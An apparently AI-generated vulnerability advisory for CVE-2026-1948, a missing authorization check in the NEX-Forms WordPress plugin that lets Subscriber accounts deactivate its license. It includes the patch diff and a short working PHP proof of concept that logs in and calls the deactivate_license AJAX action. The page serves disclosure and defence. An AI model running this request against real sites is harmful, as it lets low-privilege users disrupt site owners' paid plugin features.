Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1948: NEX-Forms – Ultimate Forms Plugin for WordPress <= 9.1.9 – Missing Authorization to Authenticated (Subscriber+) License Deactivation via deactivate_license (nex-forms-express-wp-form-builder)

CVE ID CVE-2026-1948
Plugin nex-forms-express-wp-form-builder
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 9.1.9
Patched Version 9.1.10
Disclosed March 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1948:
The vulnerability exists in the NEX-Forms WordPress plugin versions up to and including 9.1.9. The root cause is a missing capability check in the deactivate_license() function. This function was registered as an AJAX handler via add_action(‘wp_ajax_deactivate_license’, array($this,’deactivate_license’)) in the class constructor at line 11 of includes/classes/class.db.php. The function performs license deactivation operations without verifying the user’s permission level.

Exploitation requires an authenticated attacker with any role, including Subscriber. The attack vector is a POST request to /wp-admin/admin-ajax.php with the action parameter set to deactivate_license. No additional parameters are required. The payload triggers the deactivate_license() function, which executes SQL to delete license-related options from the wp_options table, contacts the remote license server at https://basixonline.net/activate-license-new-api-v3, and sets internal activation flags to false.

The patch removes the vulnerable AJAX handler entirely. The diff shows the removal of add_action(‘wp_ajax_deactivate_license’, array($this,’deactivate_license’)) from line 11 and the complete deletion of the deactivate_license() function body from lines 3213-3225. This fix prevents unauthorized access by eliminating the endpoint. The plugin also removed the NEXForms_get_data() AJAX handler, addressing a related authorization issue.

Successful exploitation deactivates the plugin license. This disrupts premium features and support, potentially causing form functionality loss. Attackers could degrade site operations or perform denial-of-service against the plugin’s paid capabilities.

Differential between vulnerable and patched code

Code Diff 
--- a/nex-forms-express-wp-form-builder/includes/classes/class.db.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.db.php
@@ -11,7 +11,6 @@

 		public function __construct(){

-			add_action('wp_ajax_deactivate_license', array($this,'deactivate_license'));
 			add_action('wp_ajax_nf_insert_record', array($this,'insert_record'));
 			add_action('wp_ajax_nf_update_record', array($this,'update_record'));
 			add_action('wp_ajax_nf_delete_record', array($this,'delete_record'));
@@ -48,7 +47,6 @@
 			add_action('wp_ajax_nf_send_test_email', array($this,'nf_send_test_email'));

 			add_action('wp_ajax_update_paypal', array($this,'update_paypal'));
-			add_action('wp_ajax_get_data', array($this,'NEXForms_get_data'));
 			add_action('wp_ajax_get_c_logic_ui', array($this,'get_c_logic_ui'));


@@ -825,42 +823,7 @@

 			die();
 		}
-		public function NEXForms_get_data(){
-
-
-				$api_params = array(
-					'verify-2' 		=> 1, //'',
-					'license' 		=> sanitize_text_field($_POST['pc']),
-					'user_name' 	=> sanitize_text_field($_POST['eu']),
-					'item_code' 	=> '7103891',
-					'email_address' => get_option('admin_email'),
-					'for_site' 		=> get_option('siteurl'),
-					'unique_key'	=> get_option('7103891'),
-					're_register'	=> (($_POST['rereg']=='false') ? false : true),
-					'version' 		=> '9'
-				);
-
-				// Call the custom API.
-				$response = wp_remote_post( 'https://basixonline.net/activate-license-new-api-v3', array(
-					'timeout'   => 30,
-					'sslverify' => false,
-					'body'      => $api_params
-				) );
-				// make sure the response came back okay
-
-				if ( is_wp_error( $response ) )
-					NEXForms_clean_echo( '<div class="alert alert-danger"><strong>Could not connect</div><br /><br />Please try again later.');
-
-				// decode the license data
-				$license_data = json_decode($response['body'],true);
-				if($license_data['error']<=0)
-					{
-					update_option( '1983017'.$license_data['key'] , array( $license_data['pc']));
-					}
-
-				NEXForms_clean_echo( sanitize_text_field($license_data['message']));
-				die();
-		}
+
 /* ALTER TABLE */
 		public function alter_plugin_table($table='', $col = '', $type='text'){

@@ -3213,18 +3176,7 @@
 		die();
 	}

-	function deactivate_license(){
-		$theme = wp_get_theme();
-		if($theme->Name!='NEX-Forms Demo')
-			{
-			global $wpdb;
-			$delete = $wpdb->query('DELETE FROM '.$wpdb->prefix.'options WHERE option_name LIKE "1983017%"'); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
-			$api_params = array( 'client_deactivate_license' => 1,'version' => '9','key'=>get_option('7103891'));
-			$response = wp_remote_post( 'https://basixonline.net/activate-license-new-api-v3', array('timeout'   => 10,'sslverify' => false,'body'  => $api_params) );
-			update_option( 'nf_activated', false );
-			update_option( 'nf_fs_activated', false );
-			}
-	}
+


 	public function load_template() {
--- a/nex-forms-express-wp-form-builder/main.php
+++ b/nex-forms-express-wp-form-builder/main.php
@@ -4,7 +4,7 @@
 Plugin URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
 Description: Premium WordPress Plugin - Ultimate Drag and Drop WordPress Forms Builder.
 Author: Basix
-Version: 9.1.9
+Version: 9.1.10
 Author URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
 License: GPL
 Text Domain: nex-forms
@@ -2701,16 +2701,7 @@
 		 );
 	die();
 }
-$update_entry = isset($_REQUEST['nf_update_entry']) ? sanitize_text_field($_REQUEST['nf_update_entry']) : false;
-$create_entry = isset($_REQUEST['nf_create_entry']) ? sanitize_text_field($_REQUEST['nf_create_entry']) : false;

-if($update_entry || $create_entry)
-	{
-	if($update_entry)
-		submit_nex_form($entry_action = 'update_entry');
-	if($create_entry)
-		submit_nex_form($entry_action = 'update_entry');
-	}


 function submit_nex_form($entry_action = false){
@@ -2942,85 +2933,9 @@

 	if($save_to_db)
 		{
-		$check_entry_update = isset($_REQUEST['nf_set_entry_update_id']) ? sanitize_text_field($_REQUEST['nf_set_entry_update_id']) : false;
-		$check_entry_redirect_update = isset($_REQUEST['nf_entry_redirect_id']) ? sanitize_text_field($_REQUEST['nf_entry_redirect_id']) : false;


-		if($check_entry_redirect_update)
-			{
-			$get_data = $wpdb->get_var($wpdb->prepare('SELECT form_data FROM '. $wpdb->prefix .'wap_nex_forms_entries WHERE Id = %d',sanitize_text_field($check_entry_redirect_update))); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
-
-			$set_data = json_decode($get_data);
-
-			$merge_data = array_merge($set_data,$data_array);
-
-			$insert = $wpdb->update($wpdb->prefix.'wap_nex_forms_entries', // phpcs:ignore WordPress.DB.DirectDatabaseQuery
-			array(
-				'nex_forms_Id'			=>	$set_nex_forms_id,
-				'page'					=>	sanitize_text_field($_POST['page']),
-				'ip'					=>  sanitize_text_field($_POST['ip']),
-				'paypal_invoice'		=>  sanitize_text_field($_POST['paypal_invoice']),
-				'user_Id'				=>	get_current_user_id(),
-				'hostname'				=>	$geo_data->hostname,
-				'city'					=>	$geo_data->city,
-				'region'				=>	$geo_data->region,
-				'country'				=>	$geo_data->country,
-				'loc'					=>	$geo_data->loc,
-				'org'					=>	$geo_data->org,
-				'postal'				=>	$geo_data->postal,
-				'date_time'				=>  $set_date->format('Y-m-d H:i:s'),
-				'form_data'				=>	json_encode($merge_data),
-				'paypal_payment_token'	=>  $paypal_transaction['payment_token'],
-				'paypal_payment_id'		=>  $paypal_transaction['payment_id'],
-				'payment_ammount'		=>  $paypal_transaction['payment_ammount'],
-				'payment_currency'		=>  $paypal_transaction['payment_currency'],
-				'payment_status'		=>  'pending',
-				'attachments'			=> (count($insert_file_array)>0) ? 1 : NULL
-				), array(	'Id' => sanitize_text_field($check_entry_redirect_update))
-			 );
-			$get_result = $wpdb->get_var($wpdb->prepare('SELECT entry_count FROM '. $wpdb->prefix .'wap_nex_forms WHERE Id = %d',sanitize_text_field($form_attr->Id))); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
-			$set_count = $get_result + 1;
-			$update = $wpdb->update ( $wpdb->prefix . 'wap_nex_forms', array('entry_count'=>$set_count), array(	'Id' => sanitize_text_field($form_attr->Id)) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
-
-			$entry_id = $check_entry_redirect_update;
-
-			}

-		else if($check_entry_update)
-			{
-			$insert = $wpdb->update($wpdb->prefix.'wap_nex_forms_entries', // phpcs:ignore WordPress.DB.DirectDatabaseQuery
-			array(
-				'nex_forms_Id'			=>	$set_nex_forms_id,
-				'page'					=>	sanitize_text_field($_POST['page']),
-				'ip'					=>  sanitize_text_field($_POST['ip']),
-				'paypal_invoice'		=>  sanitize_text_field($_POST['paypal_invoice']),
-				'user_Id'				=>	get_current_user_id(),
-				'hostname'				=>	$geo_data->hostname,
-				'city'					=>	$geo_data->city,
-				'region'				=>	$geo_data->region,
-				'country'				=>	$geo_data->country,
-				'loc'					=>	$geo_data->loc,
-				'org'					=>	$geo_data->org,
-				'postal'				=>	$geo_data->postal,
-				'date_time'				=>  $set_date->format('Y-m-d H:i:s'),
-				'form_data'				=>	json_encode($data_array),
-				'paypal_payment_token'	=>  $paypal_transaction['payment_token'],
-				'paypal_payment_id'		=>  $paypal_transaction['payment_id'],
-				'payment_ammount'		=>  $paypal_transaction['payment_ammount'],
-				'payment_currency'		=>  $paypal_transaction['payment_currency'],
-				'payment_status'		=>  'pending',
-				'attachments'			=> (count($insert_file_array)>0) ? 1 : NULL
-				), array(	'Id' => sanitize_text_field($check_entry_update))
-			 );
-			$get_result = $wpdb->get_var($wpdb->prepare('SELECT entry_count FROM '. $wpdb->prefix .'wap_nex_forms WHERE Id = %d',sanitize_text_field($form_attr->Id))); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
-			$set_count = $get_result + 1;
-			$update = $wpdb->update ( $wpdb->prefix . 'wap_nex_forms', array('entry_count'=>$set_count), array(	'Id' => sanitize_text_field($form_attr->Id)) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
-
-			$entry_id = $check_entry_update;
-
-			}
-		else
-			{
 			$insert = $wpdb->insert($wpdb->prefix.'wap_nex_forms_entries', // phpcs:ignore WordPress.DB.DirectDatabaseQuery
 				array(
 					'nex_forms_Id'			=>	$set_nex_forms_id,
@@ -3050,9 +2965,6 @@
 			$update = $wpdb->update ( $wpdb->prefix . 'wap_nex_forms', array('entry_count'=>$set_count), array(	'Id' => sanitize_text_field($form_attr->Id)) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery

 			$entry_id = $wpdb->insert_id;
-			}
-
-

 		}
 	if($entry_action)

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1948 - NEX-Forms – Ultimate Forms Plugin for WordPress <= 9.1.9 - Missing Authorization to Authenticated (Subscriber+) License Deactivation via deactivate_license
<?php

$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate to WordPress
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Send license deactivation request
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'deactivate_license'
]));
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Check response
if ($response === '' || strpos($response, '0') === 0) {
    echo "License deactivation likely successful. The plugin's license options were deleted and remote server notified.n";
} else {
    echo "Response: " . htmlspecialchars($response) . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School